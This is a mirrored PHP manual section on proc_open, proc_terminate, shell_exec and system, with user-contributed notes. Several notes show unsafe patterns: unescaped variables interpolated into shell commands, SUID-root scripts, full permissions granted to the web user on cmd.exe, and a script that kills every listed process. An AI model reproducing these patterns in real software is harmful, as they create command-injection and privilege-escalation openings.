I was glad to learn that because it solves the race condition in a scenario like this: you get a file name, open the file, read a little to make sure it's OK to serve to this client, then rewind the file and pass it as input to the filter. Without this feature, you would be limited to <?php array('file', $fname) ?> or passing the name to the filter command. Those choices both involve a race (because the file will be reopened after you have checked it's OK), and the last one invites surprises if not carefully quoted, too.
Kyle Gibson
05-Aug-2005 03:16
proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.
mgeisler at mgeisler dot net
19-Jul-2005 02:40
An example of using proc_open() can be found in my program PHP Shell: http://mgeisler.net/php-shell/
mib at post dot com
22-Jun-2005 09:21
I thought it was highly not recommended to fork from your web server?

Apart from that, one caveat is that the child process inherits anything that is preserved over fork from the parent (apart from the file descriptors which are explicitly closed).

Importantly, it inherits the signal handling setup, which at least with apache means that SIGPIPE is ignored.  Child processes that expect SIGPIPE to kill them in order to get sensible pipe handling and not go into a tight write loop will have problems unless they reset SIGPIPE themselves.

Similar caveats probably apply to other signals like SIGHUP, SIGINT, etc.

Other things preserved over fork include shared memory segments, umask and rlimits.
falstaff at arragon dot biz
21-Mar-2005 09:22
Using this function under windows with large amounts of data is apparently futile.

these functions are returning 0 but do not appear to be doing anything useful.
stream_set_write_buffer($pipes[0],0);
stream_set_write_buffer($pipes[1],0);

these functions are returning false and are also apparently useless under windows.
stream_set_blocking($pipes[0], FALSE);
stream_set_blocking($pipes[1], FALSE);

The magic max buffer size I found with winxp is 63488 bytes, (62k). Anything larger than this results in a system hang.
Andre Caldas
25-May-2004 06:13
About the comment by  ch at westend dot com
of 28-Aug-2003 08:46

File streams are buffers. The data is not actualy written if you do not flush the buffer. In your case, fclose has the side effect of flushing the buffer you are closing.

The program "hangs" because it tries to read some data that was not written (since it is buffered).

You must do something like:
<?php
  fwrite($fp);
  fflush($fp);
  fread($fp);
?>

Good luck,
   Andre Caldas.
list[at]public[dot]lt
12-May-2004 06:21
if you push a little bit more data through the pipe, it will be hanging forever. One simple solution  on RH linux was to do this:

 stream_set_blocking($pipes[0], FALSE);
 stream_set_blocking($pipes[1], FALSE);

This did not work on windows XP though.
ralf at dreesen[*NO*SPAM*] dot net
10-Jan-2004 03:49
The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

   fwrite($pipes[0], $in);
   /* fwrite writes to stdin, 'cat' will immediately write the data from stdin
   * to stdout and blocks, when the stdout buffer is full. Then it will not
   * continue reading from stdin and php will block here.
   */

   fclose($pipes[0]);

   while (!feof($pipes[1])) {
       $out .= fgets($pipes[1], 1024);
   }
   fclose($pipes[1]);

   $return_value = proc_close($process);
}
?>
MagicalTux at FF.ST
24-Dec-2003 08:20
Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
 - pipes from popen, proc_open
 - pipes from fopen('php://stdin') (or stdout)
 - sockets (unix or tcp/udp)
 - many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php
ch at westend dot com
28-Aug-2003 11:46
I had trouble with this function as my script always hung like in a deadlock until I figured out that I had to strictly keep the following
order. Trying to close all at the end did not work!
  proc_open();
  fwrite(pipes[0]); fclose(pipes[0]); # stdin
  fread(pipes[1]);  fclose(pipes[1]); # stdout
  fread(pipes[2]);  flcose(pipes[2]); # stderr
  proc_close();
daniela at itconnect dot net dot au
16-Apr-2003 05:01
Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
   $descs = array (
               0 => array ("file", "php://stdin", "r"),
               1 => array ("pipe", "w"),
               2 => array ("pipe", "w")
       );
       $proc = proc_open ("myprogram", $descs, $fp);
joeldegan AT yahoo.com
29-Dec-2002 09:54
I worked with proc_open for a while before realizing how it works with applications in real time.
This example loads up the eDonkey2000 client and reads data from it and passes in various commands and returns the results.
This is the base for an ncurses gui for edonkey I am writing in PHP.

<?
define ("DASHES", "-------------------------------------------------\n");
function readit($pipes, $len=2, $end="> "){
   stream_set_blocking($pipes[1], FALSE);
   while($ret = fread($pipes[1],$len)){
       $retval .= $ret;
   if(substr_count($ret, $end) > 0){ $pipes[1] = "" ; break;}
   }
   return $retval;
}//end fucntion
function sendto($pipes, $str){
   fwrite($pipes[0], $str."\n");
}//end function
function viewopts($pipes, $opt){
   sleep(1);
   sendto($pipes, $opt);
   return readit($pipes);
}//end function
function sendopts($pipes, $opt){
   sendto($pipes, $opt);
   usleep(50);
   return readit($pipes);
}//end function

$dspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/eo.txt", "a"),);
$process = proc_open("donkey", $dspec, $pipes);
if (is_resource($process)) {
   readit($pipes);
   echo DASHES;
   echo viewopts($pipes, "vo");
   echo DASHES; echo SEP;echo DASHES;
   echo sendopts($pipes, "name test".rand(5,5000));
   echo DASHES; echo SEP; echo DASHES;
   echo viewopts($pipes, "vo");
   echo DASHES; echo SEP; echo DASHES;
   echo sendopts($pipes, "temp /tmp");
   echo DASHES; echo SEP; echo DASHES;
   echo viewopts($pipes, "g");
   echo DASHES;
   sendto($pipes, "q");
   sendto($pipes, "y");
   readit($pipes);
   fclose($pipes[0]);
   fclose($pipes[1]);
   $return_value = proc_close($process);
}
?>

returns what looks like the following
-----------------------------------------------------------------
Name:                  test2555
AdminName:              admin
AdminPass:              password
AdminPort:              79
Max Download Speed:    0.00
Max Upload Speed:      0.00
Line Speed Down:        0.00
Door Port:              4662
AutoConnect:            1
Verbose:                0
SaveCorrupted:          1
AutoServerRemove:      1
MaxConnections:        45
> ----------------------------------------------------------------
filippo at zirak dot it
19-Apr-2002 10:50
Example of emulating the press of the special key "F3":
   fwrite($pipes[0], chr(27)."[13~");
(for others special keys,  use the program 'od -c' on linux)

(NEEDED: a timeout for stdout pipe, otherwise a fgets on $pipes[1] can lag forever...)
add a note add a note

后退 | 起点 | 前进
proc_nice | 上一级 | proc_terminate


proc_terminate

(PHP 5)

proc_terminate -- kills a process opened by proc_open

说明

int proc_terminate ( resource process [, int signal] )

Signals a process (created using proc_open()) that it should terminate. proc_terminate() returns immediately and does not wait for the process to terminate.

The optional signal is only useful on POSIX operating systems; you may specify a signal to send to the process using the kill(2) system call. The default is SIGTERM.

proc_terminate() allows you terminate the process and continue with other tasks. You may poll the process (to see if it has stopped yet) by using the proc_get_status() function.

参见

proc_open()
proc_close()
proc_get_status()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
proc_open | 上一级 | shell_exec


shell_exec

(PHP 4, PHP 5)

shell_exec -- Execute command via shell and return the complete output as a string

说明

string shell_exec ( string cmd )

This function is identical to the backtick operator.

参数

cmd

The command that will be executed.

返回值

The output from the executed command.

范例

例子 1. A shell_exec() example

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

注释

注: 本函数在安全模式下被禁用。

参见

exec()
escapeshellcmd()

add a note add a note User Contributed Notes
rustleb at hotmail dot com
05-Jun-2006 04:45
For capturing stdout and stderr, when you don't care about the intermediate files, I've had better results with . . .
<?php
function cmd_exec($cmd, &$stdout, &$stderr)
{
   $outfile = tempnam(".", "cmd");
   $errfile = tempnam(".", "cmd");
   $descriptorspec = array(
       0 => array("pipe", "r"),
       1 => array("file", $outfile, "w"),
       2 => array("file", $errfile, "w")
   );
   $proc = proc_open($cmd, $descriptorspec, $pipes);

   if (!is_resource($proc)) return 255;

   fclose($pipes[0]);    //Don't really want to give any input

   $exit = proc_close($proc);
   $stdout = file($outfile);
   $stderr = file($errfile);

   unlink($outfile);
   unlink($errfile);
   return $exit;
}
?>

This isn't much different than a redirection, except it takes care of the temp files for you (you may need to change the directory from ".") and it blocks automatically due to the proc_close call.  This mimics the shell_exec behavior, plus gets you stderr.
squeegee
05-May-2006 01:36
Each time you call shell_exec, it operates in a completely new shell. So if you need to do different multiple things in it based on whatever criteria, assemble your command ahead of time:

instead of

<?php
shell_exec("cd $path_to_dir");
shell_exec("ls -l");
?>

which, as you noted, won't work, do

<?php
$cmd = "cd $path_to_dir; ";
if($a == true)$cmd .= "ls -l";
else $cmd .= "du -h";
$result = shell_exec($cmd);
?>
notmespammers-iain at iaindooley dot com
19-Feb-2006 07:38
beware!

shell_exec('cd /path/to/dir');
shell_exec('ls -l');

will not give a listing of /path/to/dir!! use chdir() if you need to change directories, or group your commands with && (not always convenient/possible)

cheers

iain
rigsbr at yahoo dot com dot br
17-Feb-2006 10:24
If you need to execute a command without permission and could not execute it by ssh or install any extension, there is a way in Apache 1.3.x and PHP 4.
Create a file on cgi-bin directory, like this:

#!/usr/bin/php
<?
  echo shell_exec('whoami');
?>

Don't forget to set the file you created the permission to execute it. Hence, call it from browser and you will se that this script will be executed by the shell user and not the user nobody (apache default user if running a PHP script).
andy25it at hotmail dot it
03-Jan-2006 01:06
As a webmaster i often deal with other servers with respect to the one that hosts my own site.
I actually had to face the following problem: some web pages depend directly from other webservers for example including a IMG SRC tag pointing to a remote image; but what if the remote server is temporary down? The download of the page remains in an incomplete state. It'd be better an error message for sure ! But how can i know whether the remote server is up or down? PING IT  is the answer..but how can i use a shell system function that outputs only text into some PHP scripting?..here the solution:

<?php

/*
the host whose service status has to be checked out
*/
$host_to_ping = "www.somehost.net" ;

/*
I ping twice the host (a higher number of ping would only result the execute script time to be MUCH high).
The result of the output ping command is stored into a variable. This can be done beacuse of the properties and features of the shell_exec() function, see above to know more.
*/
$outputShell = shell_exec("ping -c2 -w2 $host_to_ping") ;

/*
Now the only thing i have to do is to look up the '0 received' string into the output to know whether the server is down or up.
*/

if(strpos($outputShell, '0 received')) {

   #SERVER is DOWN so i include an error message

}
else {

   #SERVER is UP so i include the normal code that is meant to be included by default

}

?>

I used the shell_exec() function for 2 reasons:

1) the system() function is disabled in my webserver by the hosting company for security reasons

2) the shell_exec() function returns a string containing the output of the shell command.

Regards to the community. Hope to have given a hand.

Andrea from Italy
Ashraf Kaabi
20-Dec-2005 02:06
I've write a Full Class for Run in Background, Kill PID , check if is Running

<?php
/**
 * @author    Ashraf M Kaabi
 * @name      Advance Linux Exec
 */
class exec {
   /**
     * Run Application in background
     *
     * @param    unknown_type $Command
     * @param    unknown_type $Priority
     * @return    PID
     */
   function background($Command, $Priority = 0){
       if($Priority)
           $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
       else
           $PID = shell_exec("nohup $Command > /dev/null & echo $!");
       return($PID);
   }
   /**
   * Check if the Application running !
   *
   * @param    unknown_type $PID
   * @return    boolen
   */
   function is_running($PID){
       exec("ps $PID", $ProcessState);
       return(count($ProcessState) >= 2);
   }
   /**
   * Kill Application PID
   *
   * @param  unknown_type $PID
   * @return boolen
   */
   function kill($PID){
       if(exec::is_running($PID)){
           exec("kill -KILL $PID");
           return true;
       }else return false;
   }
};
?>
php [AT] jsomers [DOT] be
27-Sep-2005 09:00
<?php

/**
 * PHP Kill Process
 *
 * Sometimes, it can happen a script keeps running when it shouldn't, and it
 * won't stop after we close the browser, or shutdown the computer. Because it's
 * not always easy to use SSH there's a workaround.
 *
 * @author      Jensen Somers <php@jsomers.be>
 * @version    1.0
 */

class KillAllProcesses {
   /**
     * Construct the class
     */
   function killallprocesses() {
       $this->listItems();
   }

   /**
     * List all the items
     */
   function listItems() {
       /*
         * PS  Unix command to report process status
         * -x  Select processes without controlling ttys
         *
         * Output will look like:
         *      16479 pts/13  S      0:00 -bash
         *      21944 pts/13  R      0:00 ps -x
         *
         */
       $output =  shell_exec('ps -x');

       $this->output($output);

       // Put each individual line into an array
       $array  =  explode("\n", $output);

       $this->doKill($array);
   }

   /**
     * Print the process list
     * @param  string  $output
     */
   function output($output) {
       print  "<pre>".$output."</pre>";
   }

   /**
     * Kill all the processes
     * It should be possible to filter in this, but I won't do it now.
     * @param  array  $array
     */
   function doKill($array) {
       /*
         * Because the first line of our $output will look like
         *        PID TTY      STAT  TIME COMMAND
         * we'll skip this one.
         */
       for ($i = 1; $i < count($array); $i++) {
           $id =  substr($array[$i], 0, strpos($array[$i], ' ?'));
           shell_exec('kill '.$id);
       }
   }
}

new KillAllProcesses();

?>

It's not the very best solution, but I've used it a couple of times when I needed to do it quick without to much trouble.
Make not I kill all the processes, on my server px -x will only return like 4 times /sbin/apache and it's pretty safe to kill them without any trouble.
concept at conceptonline dot hu
20-Sep-2005 05:02
Interestingly, if you execute a script which is not in your path (or you have made a typo, or if the script does no exist at all), you will get no return value. The error will be logged into the error_log of your webserver.

Someone could add a note how this can be (if it could be) overriden, as the standard behaviour is not really fool-proof.
ludvig dot ericson at gmail dot com
02-Sep-2005 02:50
(if you have any other way of doing this PLEASE send me a mail)
(The following note is interesting to *NIX administrators ONLY)
Jailing a PHP CLI session is not the easiest thing to do.

PHP has a gigantic list of dependencies, you can check it by
ldd `which php`
Each of these .so files (shared libraries) can have dependencies, and can depend on each other, making the list much bigger.
However, there are tools out there to copy all dependencies into a jailed directory, you just have to search for them - and I had no luck.

What I did was just to run these few commands:
su
mkdir /jailpath && mkdir /jailpath/lib
cp /lib/*.so* /jailpath/lib/
mkdir /jailpath/usr && mkdir /jailpath/usr/bin && mkdir /jailpath/usr/lib
cp /usr/lib/*.so* /jailpath/usr/lib
cp `which php` /jailpath/usr/bin
chmod -R 0755 /jailpath && chown -R root:root /jailpath && chmod 0000 /jailpath

Do note that this copies _all_ of your shared objects. There is one or two more libraries you have top copy, but chroot will tell you about which one it is.

Hope this helped somehow.
jesuse dot gonzalez at venalum dot com dot ve
15-Jul-2005 07:34
Here is an example of how you can execute a command in background an get the Process ID created by *NIX, for future reference or monitoring.

<?php
   //Run linux command in background and return the PID created by the OS
   function run_in_background($Command, $Priority = 0)
   {
       if($Priority)
           $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
       else
           $PID = shell_exec("nohup $Command > /dev/null & echo $!");
       return($PID);
   }
?>

There is also a trick which  I use to track if the background task is running using the returned PID

<?php
   //Verifies if a process is running in linux
   function is_process_running($PID)
   {
       exec("ps $PID", $ProcessState);
       return(count($ProcessState) >= 2);
   }
?>

I commonly use both functions in combination to batch copy big mysql tables in background and wait for the copy process to finish sending chunks to the client browser in the following way:

<?php
   $CopyTaskPid = run_in_background("mysql --user=backup_user --password=backup_user_password --execute='INSERT INTO `backup-db`.`table` SELECT * FROM `online-db`.`table`'", "+20");
   while(is_process_running($CopyTaskPid))
   {
       echo ".";
       ob_flush(); flush();
       sleep(2);
   }
?>
joanacosta at prodigy dot net dot mx
25-May-2005 08:25
Here is another good example of how to Create a File with some variables already defined by user, and creating a file with them. of course using shell_exec

<?php
$generatefile = shell_exec("echo '$thisFOLIO','$thisREPORTO','$thisRESOLVIO','$thisVISTOB'  > datosmanda.txt");
echo "<pre>$generatefile</pre>";
?>

Php Is Great.... cheers
dk at brightbyte dot de
14-May-2005 04:25
her's a function that is similar to shell_exec but captures both stdout and stderr. It's much more complicated than using 2>&1, but it's independent of the shell and should work on windows, too. It uses proc_open with stream_select and non-blocking streams to read stdout and stderr concurrently. It is not guarantied that the lines appear in the correct order or that they are not intermingeled - but it did not happened when I tested it. So, here goes:

<?php
   function runExternal($cmd,&$code) {
       $descriptorspec = array(
           0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
           1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
           2 => array("pipe", "w") // stderr is a file to write to
       );

       $pipes= array();
       $process = proc_open($cmd, $descriptorspec, $pipes);

       $output= "";

       if (!is_resource($process)) return false;

       #close child's input imidiately
       fclose($pipes[0]);

       stream_set_blocking($pipes[1],false);
       stream_set_blocking($pipes[2],false);

       $todo= array($pipes[1],$pipes[2]);

       while( true ) {
           $read= array();
           if( !feof($pipes[1]) ) $read[]= $pipes[1];
           if( !feof($pipes[2]) ) $read[]= $pipes[2];

           if (!$read) break;

           $ready= stream_select($read, $write=NULL, $ex= NULL, 2);

           if ($ready === false) {
               break; #should never happen - something died
           }

           foreach ($read as $r) {
               $s= fread($r,1024);
               $output.= $s;
           }
       }

       fclose($pipes[1]);
       fclose($pipes[2]);

       $code= proc_close($process);

       return $output;
   }
?>

here is how to use it:

<?php
$result= runExternal("ls -l some-file.txt",$code);

print "<pre>";
print $result;
print "</pre>\n";

print "<b>code: $code</b>\n";
?>

enjoy :-)
phillipberry at NOSPAM dot blisswebhosting dot com
11-Apr-2005 04:13
I found something odd.

If you run exec then straight after shell_exec the shell_exec will simply not run and will return NULL.

To get it to work i put a sleep(5) after the exec and now shell_exec works fine.
Kenneth
10-Mar-2005 01:19
Sometimes it's needed to be able to execute shell commands as root using PHP. For instance, restarting named after adding or changing zones, or adding new alliases for sendmail.

My approach is to run a server called Nanoweb, available from  http://nanoweb.si.kz/. It's a webserver written in PHP, and needs only the pcntl extension extra to operate. Nanoweb is configured to only listen for connections on localhost, port 81 for example. From my normal PHP scripts running inside Apache I simply call scripts in Nanoweb to get the messy 'root' tasks done. Much more secure and safer.

Hope this helps
04-Jan-2005 01:10
Be careful as to how you elevate privileges to your php script.  It's a good idea to use caution and planing.  It is easy to open up huge security holes.  Here are a couple of helpful hints I've gathered from experimentation and Unix documentation.

Things to think about:

1. If you are running php as an Apache module in Unix then every system command you run is run as user apache.  This just makes sense.. Unix won't allow privileges to be elevated in this manner.  If you need to run a system command with elevated privileges think through the problem carefully!

2. You are absolutely insane if you decide to run apache as root.  You may as well kick yourself in the face.  There is always a better way to do it.

3. If you decide to use a SUID it is best not to SUID a script.  SUID is disabled for scripts on many flavors of Unix.  SUID scripts open up security holes, so you don't always want to go this route even if it is an option.  Write a simple binary and elevate the privileges of the binary as a SUID.  In my own opinion it is a horrible idea to pass a system command through a SUID-- ie have the SUID accept the name of a command as a parameter.  You may as well run Apache as root!
snoj-wwwposter at latitude dot li
30-Sep-2004 05:53
if the script you want to run from shell_exec needs more permissions than the webserver has (for example script needs root priviliges, do:

# chown root:root
# chmod 4711!

of course, replace root:root with the user that the script needs to run as and tweek the chmod for your security policy.

!! be careful about what the script does!  remember it has root privilige!
James McCormack
06-Aug-2004 04:50
I had a perl program which ran fine from command line but not using shell_exec(), exec() or system() - nothing was being returned. I was using the full path and permissions were set correctly.

It turned out the perl program was using more memory than my PHP.INI file was set to allow. Increasing "memory_limit" solved the problem.
leaetherstrip at inbox dot ru
08-Jul-2004 05:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use 'cacls' command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
vsuarez at vorealis dot com
01-Jul-2004 09:34
Got the error "Unable to execute..." when trying to run an external program with shell_exec under Windows XP, IIS 5, php 4.3.7  Solved by giving the IIS user (IUSR_...) execution privileges on the system file %systemroot%\system32\cmd.exe  This should be used carefully because may represent a server's security hole.
dj-bj at gmx dot net
17-Mar-2004 09:22
shell_exec passes the result to a variable only if the result of the command is true.

When the result is false the generated page contains the error string in clear text at the position the result was fetched (which can differ from reload to reload).

If you would like to recieve also the error messages append 2>&1 to the end of the command you are executing.
However, the result is also passed to the page directly.

To avoid page destruction you should not fetch the result in your script.
By appending >nul to the shell command you can hide any output.
Hope this helps.
Martin Rampersad
11-Jan-2004 05:13
I have PHP (CGI) and Apache. I also shell_exec() shell scripts which use PHP CLI. This combination destroys the string value returned from the call. I get binary garbage.  Shell scripts that start with #!/usr/bin/bash return their output properly.

A solution is to force a clean environment.  PHP CLI no longer had the CGI environment variables to choke on.

<?php

// Binary garbage.
$ExhibitA = shell_exec('/home/www/myscript');

// Perfect.
$ExhibitB = shell_exec('env -i /home/www/myscript');

?>

-- start /home/www/myscript
#!/usr/local/bin/phpcli
<?php

echo("Output.\n");

?>
-- end /home/www/myscript
spagmoid at yahoo dot NOSPAMcom
18-Dec-2003 06:52
Note that whatever you run with this function seems to use PHP memory, so it will die if it exceeds the limit (usually 8 megs)  To do database dumps or other memory-hogging operations use something like system() instead.
jessop <AT> bigfoot <DOT> com
04-Dec-2003 04:19
Just a quick reminder for those trying to use shell_exec on a unix-type platform and can't seem to get it to work. PHP executes as the web user on the system (generally www for Apache), so you need to make sure that the web user has rights to whatever files or directories that you are trying to use in the shell_exec command. Other wise, it won't appear to be doing anything.
ericphp at shepard dot com
23-Nov-2003 06:45
I had major problems getting sell_exec() to work from PHP. It was working fine via the Telnet command line.

Turns out (for me anyway) it was a pathing problem. I'm set up on a VPS FreeBSD server the does not (technically) have root access.

PHP needs to reference the FULL PATH to the app it's calling. But it gets more tricky than that. There may be more than one full path on a server. For instance, on mine there is:

>find ~/ -name mysqldump (VPS non-root search method)

/usr/local/bin/mysqldump
/usr/home/myusername/usr/local/bin/mysqldump
/usr/home/myusername/usr/local/mysql-3.23.41/bin/mysqldump
/usr/home/myusername/usr/local/mysql-3.23.43/bin/mysqldump

Turns out (after 5 hours of hair pulling fun) that /usr/home/myusername/usr/local/mysql-3.23.43/bin/mysqldump was the winner.

The same applies to using cURL and PHP via Cron. /usr/home/myusername/usr/local/curl-7.10.5/bin/curl  works for me there.

And tar wouldn't work until I dug up PHPTAR /usr/home/myusername/usr/local/bin/phptar. Never new that existed ...

Good luck.
moneyboi at fuckwindows dot com
17-Jul-2003 09:46
shell_exec("yourscript.sh") is great for opening shell scripts.
eremi at eremi dot net
10-Jun-2003 01:29
To output the command has it should be, you can do the str_replace trick above, or you can put the output in a <pre> tag.

Example:
<?php
  $output = shell_exec("[command]");
  echo "<pre>$output</pre>";
?>
Ben
05-Jun-2003 01:01
When running subprocesses via shell_exec (and maybe others) from Apache/mod_php4, Apache's environment variables don't seem to be passed on to the subprocess environment unless you specifically force them by using putenv something like this:

$remaddr = getenv("REMOTE_ADDR");
putenv("REMOTE_ADDR=$remaddr");
shell_exec("/path/to/subprocess");
dan at mathjunkies.com
16-Apr-2003 12:02
Just a note for anybody who's box is involuntarily running in safemode (i.e. you buy space on a server), or just not working right.  Shell commands won't work.  You can, however, use PHPs FTP functions to FTP in.  I was copying files and making directories, but I assume there might be a way to do something more complex.
mcbeth at broggs dot org
15-Apr-2003 05:18
As far as error checking on the last example.  Several of the shells have the && operator, so you just string your commands together using it instead of ; If at any time any of the programs fail, you will return without running the rest
ron dot petty at unigeek dot com
22-Mar-2003 03:40
Here is an example on how to install software using php

shell_exec("cd /usr/local/src/; gunzip program.tar.gz; tar xvf program.tar; cd program; ./configure; make; make install);

Now depending if your root or not some commands like "make install" may fail.  This doesn't do any error checking, the reason for that is I do not know how to cd to a directory and then execute another command unless they are in the same shell.

So basically, take what you type on the command line and string them together.
bruce at accumatics dot com
02-Feb-2003 01:24
If you're not getting any output from echo shellexec( "count.pl" ) [for instance], at least try "./count.pl" before bothering with the full path.
flame
30-Jan-2003 10:21
add  '2>&1' to the end of your shell command to have STDERR returned as well as STDOUT.

$shell_return = shell_exec($shell_command." 2>&1");
ryon -at- ryon labaw -dot- com
17-Jan-2003 04:47
Note: You cant used shell_exec() when safemode = on (its disabled), instead use
exec() and copy the needed program into the /nonexec directory (by default, set in php.ini).
dj-bj at gmx dot net
17-Dec-2002 10:27
Running PHP 4.2.3 on Windows 2000 Server shell_exec works fine and passes its output to the variable when the result of the executed command is true.
However, if the command fails and the DOS-shell returns an error the result is no longer availiable in the variable but is passed directly to the page.
yaacov at pleasedontspamme dot spam
30-Oct-2002 02:46
If you're running scripts or commands and can't figure out what's not working, check to make sure that you're not using an alias in place of a command. PHP (quite reasonably) doesn't seem to recognise aliases.
php at chris-decker dot com
25-Jun-2002 02:12
I have found it easiest to use the following code to execute a shell command and return all of it's output (not just the last line) to the user as if he/she were sitting at the terminal:

$output = shell_exec("$command");
echo(nl2br($output));
matt_smith&uconn_edu
19-Jun-2002 12:51
Re: executing scripts that work on command line, but not from PHP system() calls -- Make sure you include the full path to the executable.
tonysb at gmx dot net
31-Mar-2002 04:57
shell_exec is extremely useful as a substitute for the virtual() function where unavailable (Microsoft IIS for example). All you have to do is remove the content type string sent in the header:

<?
$mstrng = shell_exec('yourcgiscript.cgi');
$mstrng = ereg_replace( "Content-type: text/html", "", $mstrng );
echo $mstrng;
?>

This works fine for me as a substitute for SSI or the virtual() func.

Anton Babadjanov
http://www.vbcn.com.ar
add a note add a note

后退 | 起点 | 前进
proc_terminate | 上一级 | system


system

(PHP 3, PHP 4, PHP 5)

system -- Execute an external program and display the output

说明

string system ( string command [, int &return_var] )

system() is just like the C version of the function in that it executes the given command and outputs the result.

The system() call also tries to automatically flush the web server's output buffer after each line of output if PHP is running as a server module.

If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

参数

command

The command that will be executed.

return_var

If the return_var argument is present, then the return status of the executed command will be written to this variable.

返回值

Returns the last line of the command output on success, and FALSE on failure.

范例

例子 1. system() example

<?php
echo '<pre>';

// Outputs all the result of shellcommand "ls", and returns
// the last output line into $last_line. Stores the return value
// of the shell command in $retval.
$last_line = system('ls', $retval);

// Printing additional info
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

注释

警告

如果想允许用户输入的数据被传入本函数，则应使用 escapeshellarg() 或 escapeshellcmd() 函数来确保用户不能欺骗系统从而执行任意命令。

注: 如果用本函数启动一个程序并希望保持在后台运行，必须确保该程序的输出被重定向到一个文件或者其它输出流去，否则 PHP 会在程序执行结束前挂起。

注: 在打开了安全模式时，只能执行在 safe_mode_exec_dir 之内的程序。为实用起见目前不能在指向程序的路径中包含 .. 成分。

警告

在打开了安全模式时，初始命令字符串之后的所有词都被看成一个单一的参数。因此，echo y | echo x 就成了 echo "y | echo x"。

参见

exec()
passthru()
popen()
escapeshellcmd()
pcntl_exec()
backtick operator

add a note add a note User Contributed Notes
dan at thecsl dot org
29-May-2006 11:45
You probably want to check your system calls for errors. The convention is to return 0  for "no error" which is the same as FALSE which can be confusing. You need to do something like:

<?php
  $cmd = "/usr/bin/pngtopnm $png_file > $pnm_file";
  system($cmd,$return_value);
  ($return_value == 0) or die("returned an error: $cmd");
?>
matt-php at cdsportland dot com
18-Jan-2006 01:15
If using Windows with IIS and you're having problems with the system() and related commands, I found the easiest way to solve it was to modify the Authentication Method for the file (or directory) that uses the call and change the anonymous access user from the default (IUSR_IMAGE) to a user with enough permissions to execute the commands in the system call.  This way, there is no need to give execute permissions to IUSR_IMAGE on cmd.exe (which opens up a security risk system-wide) or copy cmd.exe into your php directory (per the suggestions of others).  Hope this helps someone!
151408626 dot unique at servux dot org
19-Dec-2005 06:56
The documentation notes that for making a program running in the background: ... you have to make sure that the output of that program is redirected to a file or some other output stream ...

But simply redirecting the command's output to a fifo will also cause PHP to wait for the command to terminate, even if it is started in background.

After quite a bit of trial & error, however I figured out that the trick (mentioned in some other note) using parenthesis to regain control over an already redirected STDOUT does work here, too:

<?

// this will not execute the echo in background while continuing the PHP-script,
//    as one might expect
system("echo 'something' >$someFIFO &");

// however that will do the trick - the echo is run in background, waiting until the data is read
//    from the FIFO, while your PHP-script continues execution, e.g. being able to open that
//    FIFO for read without being blocked until some data will arrive!!
system("(echo 'something' >$someFIFO) >/dev/null &");

?>
cho at stunt growth dot com
04-Nov-2005 05:20
Note to the persons who suggested using backticks for gathering a return value from scripts via system().

Using Backticks is generally frowned upon for security sake.  They can be exploited more easily.

Instead, why not use the exec() function with a return parameter specified as an array type.  This will allow you to take the full string returned from your script (for example rsync) and return each line in an array.

like so:
$result = array();
exec( $cmd, &$result);
foreach ( $result as $v )
{
// parse, or do cool stuff
}

Hope this alternative brings you merriment.
vdweij at hotmail dot com
09-Aug-2005 05:41
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
Stuart Prescott
12-May-2005 01:14
Note that for stderr redirection, you have to use double quotes (") not single quotes (') for the 2>&1 part at least.

<?
//e.g. the this will NOT do what you expect:
exec('mysqldump -h localhost ...... 2>&1', $output);

//but this will:
exec("mysqldump -h localhost ...... 2>&1", $output);
?>

*sigh*

(Sounds like a PHP bug to me..., or at least buggy docs!)
phil at pjhayward.net
27-Apr-2005 04:37
On Windows XP, (possibly others)

If you are getting the unable to fork error, make sure the internet guest user has permission to read and execute the \Windows\System32\cmd.exe file.
admin at nabeelakhtar dot net
24-Apr-2005 10:13
Windows XP (IIS) users: (Unable to fork Problem)

If you receive something like:
Warning:  passthru() [function.passthru]: Unable to fork [dir] in c:\Inetpub\wwwroot\ping.php on line X

1. Copy CMD.EXE file from the Windows\System32\ folder to your PHP directory (c:\PHP\).

This should fix the problem.
cabel at panic dot com
15-Dec-2004 08:20
We were using system() to call a Cocoa command-line binary from PHP using Mac OS X. The Cocoa binary was simply not working -- no error message, no logging, nothing, it would just die within moments of  launching from the system() function and we'd get no results.

